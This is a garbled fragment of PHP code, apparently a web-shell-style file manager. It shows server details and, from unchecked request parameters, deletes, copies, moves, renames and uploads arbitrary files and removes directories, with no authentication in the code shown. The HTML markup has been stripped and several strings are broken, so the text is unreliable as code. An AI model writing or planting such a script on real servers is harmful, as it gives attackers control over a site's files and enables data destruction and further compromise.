Server: " . $_SERVER ['SERVER_NAME'] . "
"; echo "Current directory: " . getcwd () . "
"; echo "Software: " . $_SERVER ['SERVER_SOFTWARE']; echo "
"; echo "
"; echo "
\n"; echo "Local file: "; echo ""; echo "

"; $mode = $_GET ['mode']; switch ($mode) { case 'delete': $file = $_GET ['file']; if (unlink($file)) { echo $file . " deleted successfully.

"; } else { echo "Unable to delete " . $file . ".

"; } break; case 'copy': $src = $_GET ['src']; $dst = $_POST ['dst']; if (empty ($dst)) { echo "

\n"; echo "Destination:
\n"; echo "
\n"; } else { if (copy($src, $dst)) { echo "File copied successfully.

\n"; } else { echo "Unable to copy " . $src . ".

\n"; } } break; case 'move': $src = $_GET ['src']; $dst = $_POST ['dst']; if (empty ($dst)) { echo "

\n"; echo "Destination:
\n"; echo "
\n"; } else { if (rename($src, $dst)) { echo "File moved successfully.

\n"; } else { echo "Unable to move " . $src . ".

\n"; } } break; case 'rename': $old = $_GET ['old']; $new = $_POST ['new']; if (empty ($new)) { echo "

\n"; echo "New name:
\n"; echo "
\n"; } else { if (rename($old, $new)) { echo "File/Directory renamed successfully.

\n"; } else { echo "Unable to rename " . $old . ".

\n"; } } break; case 'rmdir': $rm = $_GET ['rm']; if (rmdir($rm)) { echo "Directory removed successfully.

\n"; } else { echo "Unable to remove " . $rm . ".

\n"; } break; case 'upload': $temp = $_FILES['upload_file']['tmp_name']; $file = basename($_FILES['upload_file']['name']); if (!empty ($file)) { if (move_uploaded_file($temp, $file)) { echo "File uploaded successfully.

\n"; unlink($temp); } else { echo "Unable to upload " . $file . ".

\n"; } } break; } clearstatcache (); echo "

\n\n
"; echo "\n"; $files = scandir ($dir); foreach ($files as $file){ if (is_dir ($file)){ $items = scandir ($file); $items_num = count ($items) - 2; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } } foreach ($files as $file){ if (is_file ($file)){ $size = round (filesize ($file) / 1024, 2); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } } echo "
".$file."".$items_num." ItemsRemove directory--Rename directory
".$file."".$size." KBDeleteCopyMoveRemame

";